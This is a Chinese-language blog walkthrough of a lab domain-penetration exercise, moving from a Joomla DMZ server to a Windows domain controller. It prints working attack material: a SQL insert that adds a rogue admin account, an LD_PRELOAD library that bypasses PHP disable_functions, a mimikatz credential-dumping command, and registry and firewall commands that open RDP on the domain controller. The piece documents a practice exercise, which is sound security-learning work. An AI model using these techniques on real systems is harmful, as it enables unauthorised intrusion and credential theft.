前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >内网渗透 | 域渗透实操ATT&CK

内网渗透 | 域渗透实操ATT&CK

作者头像
HACK学习
发布2020-02-17 16:39:14
8600
发布2020-02-17 16:39:14
举报
文章被收录于专栏:HACK学习

0x01 Build Up

Goal:目标域控存在一份重要文件。

network

建议DMZ的web双网卡:一个桥接一个VMnet2。其他的全部是VMnet2。

network配置

VMnet2配置如上图。

ip信息

看到分配成功然后互相ping一下没问题就ok了。

说明一下,是黑盒测试所以不提供网络拓扑,只给出DMZ的ip。


0x02 DMZ

0x2.1 Admin Login

index

可以看到Written by Joomla,探测一下目录。

phpinfo

admin

这个比较有用,看看能不能远程连接一下。

看样子我们还是加一个管理员比较好,具体字段可参考官方文档或自己查看。

代码语言:javascript
复制
https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn
INSERT INTO `am2zu_users_users`
   (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'Railgun',
    'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_users_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');
代码语言:javascript
复制

注意修改表前缀,执行后即可登陆:Railgun secret

0x2.2 GetShell

Extensions—>Templates,然后选择随意一个模板进入—>New File

代码语言:javascript
复制
shell:http://192.168.8.150/templates/beez3/shell.php

执行不了命令,看了一下开了disable_function.

0x2.3 ByPass disable_function

代码语言:javascript
复制
1、生成含有恶意代码的动态链接程序。
2、运用putenv来设置LD_PRELOAD,优先调用我们编写的程序。
3、通过webshell触发函数。
代码语言:javascript
复制
#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

int geteuid ()
{
    const char* cmdline = "ls > /var/www/html/test.txt";
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }
    system(cmdline);
}
代码语言:javascript
复制
#gcc -shared -fPIC libc.c -o exp.so
代码语言:javascript
复制
php:
代码语言:javascript
复制
putenv("LD_PRELOAD=/var/www/hacklibc.so");
mail("admin@admin.com","","","","");

将hacklibc.so传到服务器再通过下方php代码设置LD_PRELOAD。运行后/var/www/html下就会有一个test.txt。

我们准备好链接库以及利用php,传到服务器上。

注意该exp有三个参数:

  • cmd—>待执行的命令
  • outpath—>保存命令执行输出结果的文件路径(注意,要有读写权限的路径)
  • sopath—>自然是我们的lib.so了。

可以看到执行命令时Ok的,但是此处不考虑提权了。

很奇怪,IP地址不对啊!

0x2.4 SSH

本想读出来passwd和shadow破一下密码,但是虽然passwd有权限但是shadow不可读。

这时候就要发挥取证的功底了哈哈,找到一个东西。

肯定是ssh嘛,登陆。


0x03 Probe Intranet

0x3.1 提权DMZ&&发现真正的web Server

目前我们分析得知上面的拓扑图,因为前面执行命令发现shell返回的IP并不是我们访问的DMZ。

所以判断真正的web放在192.168.93.120,这台web机开放apache服务,而DMZ通过Nginx反代解析到120这台机器。

nginx.conf

上图更是验证了我们的想法。

可用脏牛提权。

看来测试的时候已经用脏牛提过了…

提权成功。

0x3.1 向内网进发

接着向内网进发,用本台DMZ当作跳板机,还是常用的两个方法:EW代理,msf。

本来想介绍一下msf怎么操作,因为之前都是只说了流程,没有具体演示,但是kali桥接出了问题,正向shell也没弹到,所以还是用ew吧。

前面已经知道ip段是192.168.93.x

0x3.2 WinServer2008 SMB

爆出来了!

上传mimikatz

使用wmiexec来执行命令

代码语言:javascript
复制
https://github.com/maaaaz/impacket-examples-windows

使用proxifier来代理。

可以执行命令了,我们去抓一下密码。

但是执行完mimikatz.exe直接没反应啊,所以可能这个不能做到交互吧…

代码语言:javascript
复制
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"  "exit"> password.txt

上述命令为非交互情况下使用mimikatz读取密码。

注意看域,不要去用其他本地密码尝试。

若读不到:

有了域控密码,接下来就是找域控啦!

看到域是test.org

这样确定域控就是那台windows server 2012了。

0x3.4 WinServer2012 AD

开了3389,没开域控,这里有两种办法,先说第一种。

还是靠SMB执行命令强开3389

但是没打开…server2003就是Ok的,不过还是可以执行命令。

现在考虑不是3389没打开而是有防火墙,关一下试试。

代码语言:javascript
复制
3389:
代码语言:javascript
复制
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
代码语言:javascript
复制
firewall:
代码语言:javascript
复制
net stop mpssvc

后来我去看了,3389真的开了,防火墙真的关了,我真的连不上…

第二种就是$IPC入侵了。

该种方法不能在本地运行,本地找不到域控。

0x4 结束

0x4.1 进行内网渗透的思路

边界机拿到手以后可以根据情况考虑提权,以它作为跳板(ew,msf),然后迅速探测内网存活主机,探测操作系统以及开放端口,存不存在CVE,存不存在有缺陷的服务。对于域中的windows可以选择CVE直接打或者爆破3389或者爆破smb,拿到权限后可以使用mimikatz来读取域中的密码或执行命令,然后探测域控主机。

代码语言:javascript
复制
原创投稿作者:Railgun作者博客:www.pwn4fun.com
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-02-09,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 HACK学习呀 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 Build Up
  • 0x02 DMZ
    • 0x2.1 Admin Login
      • 0x2.2 GetShell
        • 0x2.3 ByPass disable_function
          • 0x2.4 SSH
          • 0x03 Probe Intranet
            • 0x3.1 提权DMZ&&发现真正的web Server
              • 0x3.1 向内网进发
                • 0x3.2 WinServer2008 SMB
                  • 0x3.4 WinServer2012 AD
                  • 0x4 结束
                    • 0x4.1 进行内网渗透的思路
                    领券
                    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档